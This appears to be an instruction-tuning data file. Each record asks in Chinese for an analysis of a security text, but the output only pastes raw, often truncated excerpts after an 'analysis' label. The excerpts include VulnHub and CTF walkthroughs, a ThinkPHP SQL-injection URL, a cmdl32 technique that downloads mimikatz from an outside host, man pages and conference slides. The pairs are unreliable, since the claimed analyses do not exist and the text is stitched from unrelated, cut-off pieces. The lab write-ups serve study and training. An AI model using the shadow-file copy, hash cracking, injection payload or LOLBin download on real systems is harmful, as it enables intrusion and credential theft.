Apache, Akamai, Varnish, Amazon, and multiple web VPNs. This new frontier offers both new opportunities and new challenges. While some classic desync gadgets can be adapted, other scenarios force extreme innovation. To help, I'll share a battle-tested methodology combining browser features and custom open-source tooling. We'll also release free online labs to help hone your new skillset. I'll also share the research journey, uncovering a strategy for black-box analysis that solved a long-standing desync obstacle and unveiled an extremely effective novel desync trigger. The resulting fallout will encompass client-side, server-side, and even MITM attacks. To wrap up, I'll demo mangling HTTPS to trigger an MITM-powered desync on Apache. Outline This paper covers four key topics. HTTP handling anomalies covers the sequence of novel vulnerabilities and attack techniques that led to the core discovery of browser-powered desync attacks, plus severe flaws in amazon.com and AWS Application Load Balancer. Client-side desync introduces a new class of desync that poisons browser connection pools, with vulnerable systems ranging from major CDNs down to web VPNs. Pause-based desync introduces a new desync techn", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n# symfonos2-WalkThrough --- ## 免责声明 `本文档仅供学习和研究使用,请勿使用文中的技术源码用于非法用途,任何人造成的任何负面影响,与本人无关.` --- **靶机地址** - https://www.vulnhub.com/entry/symfonos-2,331/ **Description** OSCP-like Intermediate real life based machine designed to teach the importance of understanding a vulnerability. SHOULD work for both VMware and Virtualbox. **知识点** - smb 信息探测 - CVE-2015-3306 - CVE-2018-20434 - shadow 密码爆破 **实验环境** `环境仅供参考` - VMware Workstation 15 Pro - 15.0.0 build-10134415 - kali : NAT 模式,192.168.141.134 - 靶机 : NAT 模式 --- # 前期-信息收集 开始进行 IP 探活 ```bash nmap -sP 192.168.141.0/24 ``` 排除法,去掉自己宿主机网关, `192.168.141.149` 就是目标了 扫描开放端口 ```bash nmap -T5 -A -v -p- 192.168.141.149 ``` 212280139445 怎么又有 smb,枚举下 smb 试试 ```bash enum4linux 192.168.141.149 ``` 找到一个 `/anonymous` 文件夹和 2个用户,进去看看文件 ```bash smbclient //192.168.141.149/anonymous -U % -N ls cd backups\\ ls get log.txt ``` 查看下 log.txt 可以发现很多线索 开头告诉你 shadow 内容在 backups 目录下,然后后面是 smb 的配置,有个密码 然后开始看 ftp 的配置,配置文件说明了是 ProFTPD 程序还告诉你有个 aeolus 账号 想起来之前 nmap 扫描 FTP 得到的版本号是 1.3.5,也许可以找找漏洞 ```bash searchsploit -w proftpd 1.3.5 ``` 这3个都一样,漏洞编号为 CVE-2015-3306,但是这个漏洞只是可以复制文件,并不能直接进行命令执行,并且需要知道目标路径 --- # 中期-漏洞利用 这里我们从 log.txt 中可以得知 anonymous 用户的实际路径为 `/home/aeolus/share`,加上开头告诉你 shadow 文件在 backup 目录下,接下来就尝试将 backup目录下的 shadow 复制到 anonymous 用户目录下 ```bash ftp 192.168.141.149 site cpfr /var/backups/shadow.bak site cpto /home/aeolus/share/shadow.txt ``` 成功了,上 smb 下载下来 ```bash smbclient //192.168.141.149/anonymous -U % -N ls get shadow.txt exit cat shadow.txt ``` 下面用同样的方式下载 passwd 文件 ```bash ftp 192.168.141.149 site cpfr /etc/passwd site cpto /home/aeolus/share/passwd.txt smbclient //192.168.141.149/anonymous -U % -N get passwd.txt exit mkdir /root/.john cp passwd.txt /root/.john cp shadow.txt /root/.john cd /root/.john unshadow passwd.txt shadow.txt > hash.txt cat hash.txt ``` 使用 john 开始跑 hash ```bash gunzip /usr/share/wordlists/rockyou.txt.gz john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt ``` 只跑出 aeolus 一个用户的密码,使用这个凭证成功 SSH 上去 ``` aeolus sergioteamo ", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n# ThinkPHP5 SQL Injection Vulnerability && Sensitive Information Disclosure Vulnerability [中文版本(Chinese version)](README.zh-cn.md) ## Rationale Details to read the references - https://www.leavesongs.com/PENETRATION/thinkphp5-in-sqlinjection.html - https://xz.aliyun.com/t/125 ## Environment Setup Enter the following command: ``` docker compose up -d ``` Visiting `http://your-ip/index.php?ids[]=1&ids[]=2`, you'll see the username is displayed, indicating that the environment is running successfully. ## Exploit Open the page `http://your-ip/index.php?ids[0,updatexml(0,concat(0xa,user()),0)]=1`you will find messages revealed successfully ![](01.png) And you can find the account and password of the database through the debug page. ![](02.png) This is another sensitive information disclosure vulnerability.", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n# T1105-Win-利用cmdl32进行文件下载行为(白名单) ## 来自ATT&CK的描述 攻击者可能会将工具或其他文件从外部系统转移到被攻陷的环境中可以通过命令控制通道从外部攻击者控制的系统中复制文件以便将工具带入被攻陷的网络环境中或通过与另一个工具如FTP的替代协议复制文件文件也可以在Mac和Linux上使用scprsync和sftp等本机工具进行复制 ## 测试案例 cmdl32.exe,CMAK连接管理器管理工具包使用它来设置连接管理器服务配置文件配置文件通常打包成一个.exe可以部署到用户系统该软件包安装可用于启动拨号/VPN连接的配置文件 ### 步骤一 使用以下命令并且生成相关配置文件 ```yml icacls %cd% /deny %username%:(OI)(CI)(DE,DC) set tmp=%cd% echo [Connection Manager] > settings.txt echo CMSFile=settings.txt >> settings.txt echo ServiceName=WindowsUpdate >> settings.txt echo TunnelFile=settings.txt >> settings.txt echo [Settings] >> settings.txt echo UpdateUrl=http://10.211.55.2:8000/mimikatz.exe >> settings.txt ``` ### 步骤二 然后继续执行即可下载成功 ```yml cmdl32 /vpn /lan %cd%\\settings.txt icacls %cd% /remove:d %username% move VPNBDFF.tmp mimikatz.exe ``` ## 检测日志 windows安全日志其他EDR类产品 ## 测试复现 windows server 2016进行测试测试效果Ok ```yml C:\\Users\\Administrator>cd C:\\Users\\Administrator\\Desktop\\test C:\\Users\\Administrator\\Desktop\\test>icacls %cd% /deny %username%:(OI)(CI)(DE,DC) 已处理的文件: C:\\Users\\Administrator\\Desktop\\test 已成功处理 1 个文件; 处理 0 个文件时失败 C:\\Users\\Administrator\\Desktop\\test>set tmp=%cd% C:\\Users\\Administrator\\Desktop\\test>echo [Connection Manager] > settings.txt C:\\Users\\Administrator\\Desktop\\test>echo CMSFile=settings.txt >> settings.txt C:\\Users\\Administrator\\Desktop\\test>echo ServiceName=WindowsUpdate >> settings.txt C:\\Users\\Administrator\\Desktop\\test>echo TunnelFile=settings.txt >> settings.txt C:\\Users\\Administrator\\Desktop\\test>echo [Settings] >> settings.txt C:\\Users\\Administrator\\Desktop\\test>echo UpdateUrl=http://10.211.55.2:8000/mimikatz.exe >> settings.txt C:\\Users\\Administrator\\Desktop\\test>cmdl32 /vpn /lan %cd%\\settings.txt C:\\Users\\Administrator\\Desktop\\test>icacls %cd% /remove:d %username% 已处理的文件: C:\\Users\\Administrator\\Desktop\\test 已成功处理 1 个文件; 处理 0 个文件时失败 C:\\Users\\Administrator\\Desktop\\test>move VPND1F2.tmp mimikatz.exe 移动了 1 个文件 ``` ## 测试留痕 ### 日志记录1 ```log 创建新进程4688windows安全日志 创建者主题: 安全 ID: QAX\\Administrator 帐户名: Administrator 帐户域: QAX", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n# Ghost in the flash (forensics/stegano, 4 solved, 416p) ``` Alice sent Bob a package with a flash drive. Bob thinks there is a message hidden on it but he couldn't find it. The only clue is the mysterious inscription on the envelope: \"Hear the voice of the future and remember: there are shadows because there are hills.\" Help Bob read the message! ``` We didn't manage to solve this task, but we got pretty far ahead, and it was fun, so we will share what we managed to find. In the task you get a large flashdrive dump. Apart from some random garbage-overwritten files there are 2 files of interest. First one seems to be a red-herring plng file: ![](herring.png) However it actually hints at a certain thing at later stage. The second thing we can find on the drive is a video, pretty much this one: https://www.youtube.com/watch?v=gXTnl1FVFBw The interesting thing about the video was the fact that the length was over 1h, instead of slighly over 8 minutes. Upon further inspection we found out that there are 2 audio tracks in the video. First one is the original one, as far as we could tell, but the other one was over 1h long beeps. We had to extract the sound file for further analysis. Doing this requires two steps: First, we had to find track numbers in the MKV file: ``` $ mkvinfo /media/GHOST_FLASH/Ghost_In_The_Shell_-_ Identity_in_Space.mkv [...] | + Track | + Track number: 3 (track ID for mkvmerge & mkvextract: 2) | + Track UID: 3 | + Lacing flag: 0 | + Language: und | + Default track flag: 0 | + Codec ID: A_PCM/INT/LIT | + Track type: audio | + Audio track | + Channels: 1 | + Sampling frequency: 2000 | + Bit depth: 16 [...] ``` And then use the `mkvextract` to export the track: ``` $ mkvextract /media/GHOST_FLASH/Ghost_In_The_Shell_-_\\ Identity_in_Space.mkv tracks 2:./track_2.wav ``` Once you look into [second track](track_2.wav) with Audacity you can see an interesting regularity in the wave shape: ![](shape.png) The entire file consists of either 1 or 3 sinusoids, an", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n# Kioptrix Level 1.2 下载地址 ``` https://download.vulnhub.com/kioptrix/KVM3.rar ``` ## 实战操作 扫描端口 ``` (rootkali)-[~/Desktop] # nmap -sV -p1-65535 192.168.32.137 Starting Nmap 7.91 ( https://nmap.org ) at 2021-12-14 06:27 EST Nmap scan report for 192.168.32.137 Host is up (0.0030s latency). Not shown: 65533 closed ports PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 4.7p1 Debian 8ubuntu1.2 (protocol 2.0) 80/tcp open http Apache httpd 2.2.8 ((Ubuntu) PHP/5.2.4-2ubuntu5.6 with Suhosin-Patch) MAC Address: 00:0C:29:71:27:48 (VMware) Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 13.76 seconds ``` 浏览器打开80端口 ![](<../../.gitbook/assets/image (9) (1) (1) (1) (1).png>) nikto扫描web服务找到/phpmyadmin目录 ``` (rootkali)-[~/Desktop] # nikto -host 192.168.32.137 - Nikto v2.1.6 --------------------------------------------------------------------------- + Target IP: 192.168.32.137 + Target Hostname: 192.168.32.137 + Target Port: 80 + Start Time: 2021-12-14 07:15:39 (GMT-5) --------------------------------------------------------------------------- + Server: Apache/2.2.8 (Ubuntu) PHP/5.2.4-2ubuntu5.6 with Suhosin-Patch + Retrieved x-powered-by header: PHP/5.2.4-2ubuntu5.6 + The anti-clickjacking X-Frame-Options header is not present. + The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS + The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type + Cookie PHPSESSID created without the httponly flag + No CGI Directories found (use '-C all' to force check all possible dirs) + PHP/5.2.4-2ubuntu5.6 appears to be outdated (current is at least 7.2.12). PHP 5.6.33, 7.0.27, 7.1.13, 7.2.1 may also current release for each branch. + Apache/2.2.8 appears to be outdated (current is at least Apac", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n# 性能监控 --- ## Actuator监控 ### Actuator 简介 在生产环境中往往需要对系统实际运行的情况例如 cpuiodiskdb业务功能等指标进行监控运维在 SpringBoot 项目中 Actuator 模块提供了众多 HTTP 接口端点Endpoint来提供应用程序运行时的内部状态信息 Actuator 模块提供了一个监控和管理生产环境的模块可以使用 httpjmxsshtelnet 等来管理和监控应用包括应用的审计Auditing健康health状态信息数据采集metrics gathering统计等监控运维的功能同时提供了可以扩展 Actuator 端点Endpoint自定义监控指标这些指标都是以 JSON 接口数据的方式呈现 需要注意的是SpringBoot 1.x 和 2.x 的 Actuator 监控设置差别很大不仅提供的 endpoint 路径不一樣连 application.properties 的配置也不一样 --- ### 使用 Spring Boot Actuator 如果要使用 Spring Boot Actuator 提供的监控功能需要先加入相关的 maven dependency依赖 ```xml org.springframework.boot spring-boot-starter-parent 2.5.3 org.springframework.boot spring-boot-starter-actuator org.springframework.boot spring-boot-starter-web ``` 只要加上了这个 maven dependencySpringBoot在运行时就会自动开启/actuator/health和/actuator/info这两个 endpoint然后就可以通过这两个 endpoint查看当前 SpringBoot应用程序的运行情况例如自动化配置信息创建的 Spring beans 以及一些环境属性等 为了保证 actuator 暴露的监控接口的安全性需要添加安全控制的依赖 spring-boot-start-security 依赖访问应用监控端点时都需要输入验证信息 ```xml org.springframework.boot spring-boot-starter-security ``` 如果添加了security安全管理只需要在配置文件配置用户名和密码就可以了 ```yaml spring: security: user: name: admin password: 123456 ``` --- ### 开启 Actuator 所有 endpoints - https://docs.spring.io/spring-boot/docs/current/reference/html/actuator.html application.properties ```conf management.endpoints.web.exposure.include=* ``` --- ### 配置 jmx 形式的监控 ```conf management.endpoints.jmx.exposure.include=* ``` --- ## Prometheus **添加依赖** ```xml org.springframework.boot spring-boot-starter-actuator io.micrometer Hi Ash! We have found Team Rocket's secret server. > > We have a good feeling that there is a hidden message inside it, and you have to find it. In order to help you, we have managed to get a PCAP from someone who had access to the server in the past, we hope you find it useful. > > In addition, we have discovered an email that may be connected. All of the files are safe for download, don't worry. > > Good luck! A network capture and an email were attached. ## Solution The attached email describes a conversation between two members of Team Rocket: ``` To: jessie@team-rocket.io Subject: RE: My protocolll Hi sis! Make it double haha ;) I reviewed your work, love how you didn't reinvent the wheel in your implementation, smart! Regarding the checksum, Meowth suggested for using a standard error detection mechanism, you can use a similar algorithm of Ethernet's checksum, but keep it simple... I hope it will keep Ash outside of our servers! James, Team Rocket inc. From: Jessie Sent: Wednesday, January 8, 2020 11:35 AM To: james@team-rocket.io Subject: My protocolll Sup Jessie! Prepare for trouble... just kidding. I'm trying to implement our server communication protocol, do ya think we need some kind of checksum? Jessie, Team Rocket inc. ``` The attached network capture includes the following protocols: ```console root@kali:/media/sf_CTFs/checkpoint/Shoes# tshark -nr capture.pcapng -qz io,phs Running as user \"root\" and group \"root\". This could be dangerous. =================================================================== Protocol Hierarchy Statistics Filter: eth frames:111 bytes:11496 ip frames:108 bytes:11324 tcp frames:78 bytes:7682 http frames:8 bytes:2072 socks frames:14 bytes:2242 icmp frames:14 bytes:1372 udp frames:16 bytes:2270 dns frames:16 bytes:2270 arp frames:2 bytes:102 ipv6 frames:1 bytes:70 icmpv6 frames:1 bytes:70 ============================================================", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nHIT2006 HIT2006 Spyware Detection : Spyware Detection : Automated Behavior Analysis System Automated Behavior Analysis System Birdman Birdman 2006 2006--07 07--16 16 XX--Solve Solve Automated Behavior Analysis Approach, Birdman, HIT2006 Automated Behavior Analysis Approach, Birdman, HIT2006 2 Abstract Abstract 分析目前流行的 分析目前流行的Spyware Spyware設計手法與運作模型並介紹我 設計手法與運作模型並介紹我 們所開發的自動化的惡意程式行為分析系統與整合型 們所開發的自動化的惡意程式行為分析系統與整合型 Spyware Spyware偵察工具用來協助資安人員研究新的 偵察工具用來協助資安人員研究新的Spyware Spyware與 與 惡意程式行為模型 惡意程式行為模型 Birdman Birdman birdman@x-solve.com, XX--Solve Solve Our WebSite Http://x-solve.com/blog Column Writer http://www.informationsecurity.com.tw MSDN Flush Writer http://www.microsoft.com/taiwan/msdn 勇 勇 X-Solve, Inc. is a company focusing on developing IT Security technology for the reliable and high assurance detection and eradication of Spyware and Rootkit. Automated Behavior Analysis Approach, Birdman, HIT2006 Automated Behavior Analysis Approach, Birdman, HIT2006 3 Outline Outline What is Spyware? What is Spyware? The Malicious Behavior Models of Spyware The Malicious Behavior Models of Spyware Strategy of Spyware Analysis and Detection Strategy of Spyware Analysis and Detection Archon Scanner Archon Scanner -- Spyware Detection Tools Spyware Detection Tools Archon Analyzer Archon Analyzer -- Automated Malicious Behavior Analyzer Automated Malicious Behavior Analyzer Conclusion Conclusion Automated Behavior Analysis Approach, Birdman, HIT2006 Automated Behavior Analysis Approach, Birdman, HIT2006 4 What is Spyware? What is Spyware? Definition Definition Spyware is considered a malicious program in that users unwittingly install the product when they install something else. There are two types of Spyware. There are two types of Spyware. Commercial Purpose This type Spyware do track your surfing habits in order to serve ads related to user. Adware, Browser Hijacker or other unwanted software Invasive Purpose This type is designed for hacker, they are more malicious than ano", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nInvisible Access Opening New Doors to Insecurity Marc Weber Tobias - Matt Fiddler - Tobias Bluzmanis 2009 Security.org Agenda Standards and Requirements Electro-Mechanical Locks Critical Infrastructure and Vulnerabilities Real World Threats Case Studies Standards Why we need Standards What They Measure Limited Protocol - Few Tests Exclude many Real World Attacks Bumping Mechanical Bypass Knowledgeable and Special Attack Techniques - Not Contemplated Standard Security Criteria Define Conventional vs. High Security Threat Criteria Forced Entry Covert Entry Key Security All Standards based upon Time, Tools and Training Forced Entry UL437 and BHMA 156.30 Locks must be secure against Forced methods of Attack Attack Resistance 5 Minutes Excludes many methods of attack Covert Entry Protection Minimum Security Criteria in UL437 and ANSI/BHMA 156.30 Protects against Certain forms of Covert Entry Assures Minimum resistance to opening (10 - 15 minutes) Picking and Decoding Master Key Attacks Bumping (Not Covered) Key Security Organizational Protection Duplication of Keys Keys Ordered by Code Legal Protection Availability of Blanks Does not address Technical Security of Keys Standards = Limited Security Categories of Locks Conventional Mechanical Locks High Security Mechanical Locks Electronic Credentials Electro-Mechanical Locks Electronic Locks Wired, Wireless, Data on Card Critical Questions What is SECURITY re: Locks? Is it secure enough? What does a High Security rating mean? The concept of key control, key security and why its important Can the lock be compromised and how difficult is it? Real World Threats Methods to Compromise Conventional Lock Functions Restrict WHO can enter Prevent or Delay Unauthorized Access Low to Medium security Not Certified Covert Entry often is easy Conventional Lock Vulnerabilities Picking, Bumping, Decoding Impressioning Master Key Extrapolation Mechanical Bypass Failure of Key Contr", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nBefore the FEDERAL COMMUNICATIONS COMMISSION Washington, DC 20554 In the Matter of Unlicensed Operation in the TV Broadcast Bands Additional Spectrum for Unlicensed Devices Below 900 MHz and in the 3 GHz Band ET Docket No. 04-186 ET Docket No. 02-380 COMMENTS OF MOTOROLA, INC. Steve B. Sharkey Director, Spectrum and Standards Strategy Robert D. Kubik Director, Telecom Relations Global Motorola, Inc. 1455 Pennsylvania Avenue, NW Suite 900 Washington, DC 20004 TEL: 202.371.6900 January 31, 2007 Table of Contents Summary.......................................................................................................................................... i I. Background and summary....................................................................................................... 2 II. TV White Space FOR Public Safety AND Other critical Operations..................................... 8 A. TV Channels 14-20................................................................................................. 9 B. Public Safety Priority Access................................................................................ 13 III. Spectrum Access Methods..................................................................................................... 16 IV. Operation of personal/portable devices ................................................................................. 22 V. Conclusion............................................................................................................................. 24 Appendix..................................................................................................................................... A-1 -i- Summary Motorola supports the FCCs general approach to promote use of the TV broadcast bands by unlicensed devices on most of the spectrum occupied by channels below TV channel 52 because it believes that reasonable technical rules can be developed to minimize interference to incumbent operations. The spectru", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n'\\\" '\\\" Copyright (c) 1993-1994 The Regents of the University of California. '\\\" Copyright (c) 1994-1996 Sun Microsystems, Inc. '\\\" '\\\" See the file \"license.terms\" for information on usage and redistribution '\\\" of this file, and for a DISCLAIMER OF ALL WARRANTIES. '\\\" '\\\" RCS: @(#) $Id: break.n,v 1.2 2003/11/24 05:09:59 bbbush Exp $ '\\\" '\\\" The definitions below are for supplemental macros used in Tcl/Tk '\\\" manual entries. '\\\" '\\\" .AP type name in/out ?indent? '\\\" Start paragraph describing an argument to a library procedure. '\\\" type is type of argument (int, etc.), in/out is either \"in\", \"out\", '\\\" or \"in/out\" to describe whether procedure reads or modifies arg, '\\\" and indent is equivalent to second arg of .IP (shouldn't ever be '\\\" needed; use .AS below instead) '\\\" '\\\" .AS ?type? ?name? '\\\" Give maximum sizes of arguments for setting tab stops. Type and '\\\" name are examples of largest possible arguments that will be passed '\\\" to .AP later. If args are omitted, default tab stops are used. '\\\" '\\\" .BS '\\\" Start box enclosure. From here until next .BE, everything will be '\\\" enclosed in one large box. '\\\" '\\\" .BE '\\\" End of box enclosure. '\\\" '\\\" .CS '\\\" Begin code excerpt. '\\\" '\\\" .CE '\\\" End code excerpt. '\\\" '\\\" .VS ?version? ?br? '\\\" Begin vertical sidebar, for use in marking newly-changed parts '\\\" of man pages. The first argument is ignored and used for recording '\\\" the version when the .VS was added, so that the sidebars can be '\\\" found and removed when they reach a certain age. If another argument '\\\" is present, then a line break is forced before starting the sidebar. '\\\" '\\\" .VE '\\\" End of vertical sidebar. '\\\" '\\\" .DS '\\\" Begin an indented unfilled display. '\\\" '\\\" .DE '\\\" End of indented unfilled display. '\\\" '\\\" .SO '\\\" Start of list of standard options for a Tk widget. The '\\\" options follow on successive lines, in four columns separated '\\\" by tabs. '\\\" '\\\" .SE '\\\" End of list of standard options for a Tk widget. '\\\" '\\\" .OP cmdName dbName db", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n.\\\" auto-generated by docbook2man-spec $Revision: 1.1 $ .TH \"START TRANSACTION\" \"7\" \"2003-11-02\" \"SQL - Language Statements\" \"SQL Commands\" .SH NAME START TRANSACTION \\- 开始一个事务块 .SH SYNOPSIS .sp .nf START TRANSACTION [ ISOLATION LEVEL { READ COMMITTED | SERIALIZABLE } ] [ READ WRITE | READ ONLY ] .sp .fi .SH \"DESCRIPTION 描述\" .PP 这条命令开始一个新的事务如果声明了隔离级别或者读写模式 那么新事务就使用这个特性如同执行了 SET TRANSACTION [\\fBset_transaction\\fR(7)] 一样在其它方面这条命令的行为和 BEGIN [\\fBbegin\\fR(7)] 命令一样 .SH \"PARAMETERS 参数\" .PP 参阅 SET TRANSACTION [\\fBset_transaction\\fR(7)] 获取有关参数含义的信息 .SH \"COMPATIBILITY 兼容性\" .PP 这条命令兼容 SQL 标准但是又见 SET TRANSACTION [\\fBset_transaction\\fR(7)] 的兼容性小节 .SH \"SEE ALSO 参见\" BEGIN [\\fBbegin\\fR(7)], COMMIT [\\fBcommit\\fR(l)], ROLLBACK [\\fBrollback\\fR(l)], SET TRANSACTION [\\fBset_transaction\\fR(l)] .SH \"译者\" .B Postgresql 中文网站 .B 何伟平 ", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nNIST Special Publication 800-207 Zero Trust Architecture Scott Rose Oliver Borchert Stu Mitchell Sean Connelly This publication is available free of charge from: https://doi.org/10.6028/NIST.SP.800-207 C O M P U T E R S E C U R I T Y NIST Special Publication 800-207 Zero Trust Architecture Scott Rose Oliver Borchert Advanced Network Technologies Division Information Technology Laboratory Stu Mitchell Stu2Labs Stafford, VA Sean Connelly Cybersecurity & Infrastructure Security Agency Department of Homeland Security This publication is available free of charge from: https://doi.org/10.6028/NIST.SP.800-207 August 2020 U.S. Department of Commerce Wilbur L. Ross, Jr., Secretary National Institute of Standards and Technology Walter Copan, NIST Director and Under Secretary of Commerce for Standards and Technology Authority This publication has been developed by NIST in accordance with its statutory responsibilities under the Federal Information Security Modernization Act (FISMA) of 2014, 44 U.S.C. 3551 et seq., Public Law (P.L.) 113-283. NIST is responsible for developing information security standards and guidelines, including minimum requirements for federal information systems, but such standards and guidelines shall not apply to national security systems without the express approval of appropriate federal officials exercising policy authority over such systems. This guideline is consistent with the requirements of the Office of Management and Budget (OMB) Circular A-130. Nothing in this publication should be taken to contradict the standards and guidelines made mandatory and binding on federal agencies by the Secretary of Commerce under statutory authority. Nor should these guidelines be interpreted as altering or superseding the existing authorities of the Secretary of Commerce, Director of the OMB, or any other federal official. This publication may be used by nongovernmental organizations on a voluntary basis and is not subject to copyright in the United States. Att", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nQuantum Computing 101: How to Crack RSA Walter C. Daugherity Department of Computer Science Texas A&M University BH2002@security.mailshell.com Quantum Computing - Daugherity Biography Walter C. Daugherity is a Senior Lecturer in Computer Science and Electrical Engineering at Texas A&M University. He received a bachelors degree from Oklahoma Christian University, and masters and doctors degrees from Harvard University. His research interests include fuzzy logic, object-oriented programming, and quantum computing. Quantum Computing - Daugherity Biography (Continued) With David A. Church he created the first course in quantum computing at Texas A&M University, which will be offered for the third time in the Fall 2002 semester. Quantum Computing - Daugherity Abstract What is quantum computing? How does it work? Why is it exponentially faster than classical computing? How can a quantum computer crack RSA? Quantum Computing - Daugherity Quantum Computing Quantum state = vector in a Hilbert space Eigenstates |0> and |1> (e.g., spin-up and spin- down of a spin-1/2 particle) Superposition Combination w0 |0> + w1 |1> w = amplitude, w* w = probability of eigenvalue Interference Produced by phase angle differences Constructive or destructive Quantum Computing - Daugherity The Topsy Turvy World of Quantum Computing go to main article How Spin States Can Make Qubits The spin of a particle in a dc magnetic field is analogous to a spinning top that is precessing around the axis of the field. In such a field, the particle assumes one of two states, spin up or spin down, which can represent 0 and 1 in digital logic. A particle in one spin state can be pushed toward another by a radio frequency pulse perpendicular to the magnetic field. A pulse of the right frequency and duration will flip the spin completely [top]. A shorter RF pulse will tip the spin into a superposition of the up and down state [bottom], allowing simultaneous calculations on both states. ---IEEE Spectru", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n@EyalItkin Fixed by the vendor ZigBee (Radio) Attacker ZigBee Factory Reset Attacker Controlled WiFi Ethernet ZigBee (Radio) Attacker ZigBee Factory Reset Attacker Controlled WiFi Ethernet ZigBee (Radio) Attacker ZigBee Factory Reset Attacker Controlled WiFi Ethernet Malicious OTA Update ZigBee Exploit WiFi Ethernet Attacker Controlled Attacker ZigBee Exploit WiFi Ethernet Attacker Controlled Attacker Physical (PHY) layer 2.4 GHz Radio Medium Access Control (MAC) Network (NWK) Layer Application Sublayer (APS) ZigBee Device Profile (ZDP) Some Application ZigBee Cluster Library (ZCL) Levels 1-2 IEEE 802.15.4 Levels 3 Levels 4 Levels 5+ Main CPU QCA4531-BL3A ZigBee Modem ATSAMR21E18E Serial Debug (the bridge) Is using a single huge process that does everything E_ZCL_BOOL (0x10) E_ZCL_UINT8 (0x20) E_ZCL_UINT32 (0x23) E_ZCL_ARRAY (0x48) Yup, this firmware contains symbols! github.com/CheckPointSW/Cyber-Research/tree/master/Vulnerability/Smart_Lightbulbs Goal: Confuse malloc() to allocate a buffer at an arbitrary address @EyalItkin", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nname: Comment Docs Preview in PR description: Comment with the docs URL preview in the PR author: Sebastián Ramírez inputs: token: description: Token for the repo. Can be passed in using {{ secrets.GITHUB_TOKEN }} required: true deploy_url: description: The deployment URL to comment in the PR required: true runs: using: docker image: Dockerfile", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nAPT与新威胁论坛 2 网络安全威胁中的商业军火 3 从HackingTeam说起 商业化间谍软件现状 商业军火带来的问题 可以采取的应对策略 4 从 说起 成立时间 2003年 创始人 David Vincenzetti(CEO) Valeriano Bedeschi(CIO) 核心人物 Alberto Ornaghi(软件架构师) Marco Valleri(进攻安全管理) 总部 米兰意大利 免费开源 内网安全审计工具 基于MITM实现 第一个面向警方 的商用黑客软件 头像取自领英 Linkedin 5 从 说起 部门 人数 管理 7 行政 9 销售 8 安全 9 运营 15 研发 17 合计 65 6 从 说起 组织名称 国家 区域 最早订单 年费 总收入 智利 拉美 2014 2,289,155 ISO 乌干达 非洲 2015 831,000 2,197,100 CSDN 摩洛哥 非洲 2009 140,000 1,936,050 墨西哥 拉美 2010 130,000 1,390,000 DGST 摩洛哥 非洲 2012 160,000 1,237,500 新加坡 亚洲 2008 89,000 1,209,967 GID Saudi 沙特阿拉伯 非洲 2012 114,000 1,201,000 UAEIntelligence 阿联酋 非洲 2012 150,000 1,200,000 MOD Saudi 沙特阿拉伯 非洲 2013 220,000 1,108,687 SIS 哈萨克斯坦 欧洲 2012 140,000 1,012,500 合同额TOP 10 客户 金额单位EUR 7 从 说起 主要客户分布 8 从 说起 RCS 能力 Windows OSX BlackBerry Windows Mobile Android iOS 9 商业化间谍软件现状 短信息监控 Facebook监控 WhatsApp监控 LINE监控 联系人黑白名单 应用程序监控 应用黑白名单 应用风险状态 通话监控 位置监控 媒体文件监控 Web访问监控 手机开关机记录 10 商业化间谍软件现状 11 商业化间谍软件现状 12 商业化间谍软件现状 多语言界面 有/无图标版本图标可隐藏 安装后在Services中可见 中文界面 安装后无图标 安装后在Services不可见 需要手动激活 13 商业化攻击平台 Cobalt Strike 14 商业化攻击平台 Cobalt Strike 公司/项目/机构 职位 时间 Strategic cyber LLC 创始者和负责人 2012.1-至今 特拉华州空军国民警卫队 领导传统预备役 2009-至今 Cobalt strike 项目负责人 2011.11-2012.5 TDI 高级安全工程师 2010.8-2011.6 Automattic 代码Wrangler 2009.7-2010.8 Feedback Army, After the Deadline 创始人 2008.7-2009.11 美国空军研究实验室 系统工程师 2006.4-2008.3 美国空军 通信与信息 军官 2004.3-2008-3 姓 名Raphael Mudge 教育背景Syracuse University 美国雪城大学密歇根科技大学 目前就职Strategic Cyber LLC战略网络有限责任公司特拉华州空军国民 警卫队 15 商业化攻击平台 Cobalt Strike Packages HTML Application Java Application MS Office Macro Payload Generator USB/CD AutoPlay Windows Dropper Windows Executable Windows Executable(S) Web Drive-by Manage Auto-Exploit Server Client-side-Attacks Clone Site Firefox Add-on Attack 16 真实案例 APT TOCS 17 真实案例 APT TOCS 18 真实案例 APT TOCS 19 商业军火带来的问题 我们面对怎样的对手 